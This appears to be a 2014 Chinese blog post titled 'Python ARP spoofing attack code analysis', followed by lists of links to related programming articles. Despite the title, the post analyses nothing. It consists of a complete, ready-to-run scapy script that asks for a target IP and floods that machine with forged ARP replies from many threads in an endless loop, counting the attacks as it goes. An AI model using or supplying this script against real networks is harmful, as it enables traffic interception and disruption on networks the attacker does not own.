python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
使用Python的PIL模块来进行图片对比
Feb 18 Python
Python处理json字符串转化为字典的简单实现
Jul 07 Python
Python实现将SQLite中的数据直接输出为CVS的方法示例
Jul 13 Python
浅谈python中字典append 到list 后值的改变问题
May 04 Python
Python Excel处理库openpyxl使用详解
May 09 Python
浅析Python3中的对象垃圾收集机制
Jun 06 Python
python opencv对图像进行旋转且不裁剪图片的实现方法
Jul 09 Python
python入门之基础语法学习笔记
Feb 08 Python
Python3的socket使用方法详解
Feb 18 Python
python实现网页录音效果
Oct 26 Python
Python爬虫之Selenium实现窗口截图
Dec 04 Python
Python+Appium实现自动抢微信红包
May 21 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
php 友好URL的实现(吐血推荐)
2008/10/04 PHP
mysql5的sql文件导入到mysql4的方法
2008/10/19 PHP
9段PHP实用功能的代码推荐
2014/10/14 PHP
硬盘浏览程序,保存成网页格式便可使用
2006/12/03 Javascript
jquery lazyload延迟加载技术的实现原理分析
2011/01/24 Javascript
深入探讨JavaScript String对象
2015/03/09 Javascript
jQuery实现的五子棋游戏实例
2015/06/13 Javascript
关于meta viewport中target-densitydpi属性详解(推荐)
2017/08/18 Javascript
chorme 浏览器记住密码后input黄色背景处理方法(两种)
2017/11/22 Javascript
js实现上传并压缩图片效果
2018/01/10 Javascript
Vue 中axios配置实例详解
2018/07/27 Javascript
基于JS实现一个随机生成验证码功能
2019/05/29 Javascript
如何使用proxy实现一个简单完整的MVVM库的示例代码
2019/09/17 Javascript
antd Select下拉菜单动态添加option里的内容操作
2020/11/02 Javascript
[56:14]Fnatic vs OG 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
用十张图详解TensorFlow数据读取机制(附代码)
2018/02/06 Python
使用实现XlsxWriter创建Excel文件并编辑
2018/05/04 Python
python实现批量解析邮件并下载附件
2018/06/19 Python
解决在Python编辑器pycharm中程序run正常debug错误的问题
2019/01/17 Python
django删除表重建的实现方法
2019/08/28 Python
Python面向对象封装操作案例详解
2019/12/31 Python
如何打包Python Web项目实现免安装一键启动的方法
2020/05/21 Python
澳大利亚免息网上购物:Shop Zero
2016/09/17 全球购物
C语言笔试题
2014/09/04 面试题
如果让你测试一台高速激光打印机,你都会进行哪些测试
2012/12/04 面试题
如何安装ruby on rails
2014/02/09 面试题
学校门卫工作职责
2013/12/07 职场文书
平面网站制作专科生的自我评价分享
2013/12/11 职场文书
员工拾金不昧表扬信
2014/01/09 职场文书
计算机系统管理员求职信
2014/06/20 职场文书
2015元旦晚会主持词(开场白+结束语)
2014/12/14 职场文书
意向协议书
2015/01/27 职场文书
2015年安全生产管理工作总结
2015/05/25 职场文书
解决Go gorm踩过的坑
2021/04/30 Golang
Python带你从浅入深探究Tuple(基础篇)
2021/05/15 Python
Vue2项目中对百度地图的封装使用详解
2022/06/16 Vue.js